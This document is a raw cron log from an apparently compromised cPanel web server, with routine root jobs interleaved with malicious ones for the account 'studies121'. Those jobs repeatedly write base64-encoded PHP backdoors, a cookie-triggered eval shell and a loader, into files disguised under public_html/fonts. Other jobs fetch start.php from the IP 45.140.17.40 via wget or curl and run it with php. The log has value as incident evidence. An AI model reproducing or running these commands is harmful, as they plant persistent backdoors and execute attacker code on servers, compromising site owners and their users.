Aug 30 17:44:01 ip-184-168-122-23 CROND[18642]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:44:01 ip-184-168-122-23 CROND[18643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:45:01 ip-184-168-122-23 CROND[18796]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:45:01 ip-184-168-122-23 CROND[18798]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:45:01 ip-184-168-122-23 CROND[18800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:45:01 ip-184-168-122-23 CROND[18799]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 17:45:01 ip-184-168-122-23 CROND[18801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:45:01 ip-184-168-122-23 CROND[18802]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 17:46:01 ip-184-168-122-23 CROND[18935]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:46:01 ip-184-168-122-23 CROND[18937]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 17:46:01 ip-184-168-122-23 CROND[18939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:46:01 ip-184-168-122-23 CROND[18941]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 30 17:46:01 ip-184-168-122-23 CROND[18938]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:46:01 ip-184-168-122-23 CROND[18942]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 17:46:01 ip-184-168-122-23 CROND[18940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:47:01 ip-184-168-122-23 CROND[19034]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:47:02 ip-184-168-122-23 CROND[19036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:47:02 ip-184-168-122-23 CROND[19037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:47:02 ip-184-168-122-23 CROND[19038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:48:01 ip-184-168-122-23 CROND[19231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:48:01 ip-184-168-122-23 CROND[19233]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:48:01 ip-184-168-122-23 CROND[19236]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 17:48:01 ip-184-168-122-23 CROND[19237]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:48:01 ip-184-168-122-23 CROND[19238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:49:01 ip-184-168-122-23 CROND[19320]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:49:01 ip-184-168-122-23 CROND[19321]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:49:01 ip-184-168-122-23 CROND[19322]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:49:01 ip-184-168-122-23 CROND[19323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:50:01 ip-184-168-122-23 CROND[19427]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 17:50:01 ip-184-168-122-23 CROND[19430]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:50:01 ip-184-168-122-23 CROND[19433]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 17:50:01 ip-184-168-122-23 CROND[19434]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 17:50:01 ip-184-168-122-23 CROND[19432]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:50:01 ip-184-168-122-23 CROND[19440]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:50:01 ip-184-168-122-23 CROND[19441]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 17:50:01 ip-184-168-122-23 CROND[19442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:50:01 ip-184-168-122-23 CROND[19439]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 17:51:01 ip-184-168-122-23 CROND[19539]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:51:01 ip-184-168-122-23 CROND[19541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:51:01 ip-184-168-122-23 CROND[19542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:51:01 ip-184-168-122-23 CROND[19543]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:52:01 ip-184-168-122-23 CROND[19655]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:52:01 ip-184-168-122-23 CROND[19657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:52:01 ip-184-168-122-23 CROND[19659]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:52:01 ip-184-168-122-23 CROND[19658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:52:01 ip-184-168-122-23 CROND[19660]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 17:53:02 ip-184-168-122-23 CROND[19749]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:53:02 ip-184-168-122-23 CROND[19753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:53:02 ip-184-168-122-23 CROND[19751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:53:02 ip-184-168-122-23 CROND[19752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:54:01 ip-184-168-122-23 CROND[19841]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:54:01 ip-184-168-122-23 CROND[19843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:54:01 ip-184-168-122-23 CROND[19844]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:54:01 ip-184-168-122-23 CROND[19845]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 17:54:01 ip-184-168-122-23 CROND[19846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:55:01 ip-184-168-122-23 CROND[19945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:55:01 ip-184-168-122-23 CROND[19947]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:55:01 ip-184-168-122-23 CROND[19946]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 17:55:01 ip-184-168-122-23 CROND[19948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:55:01 ip-184-168-122-23 CROND[19949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:55:01 ip-184-168-122-23 CROND[19950]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 17:56:01 ip-184-168-122-23 CROND[20042]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
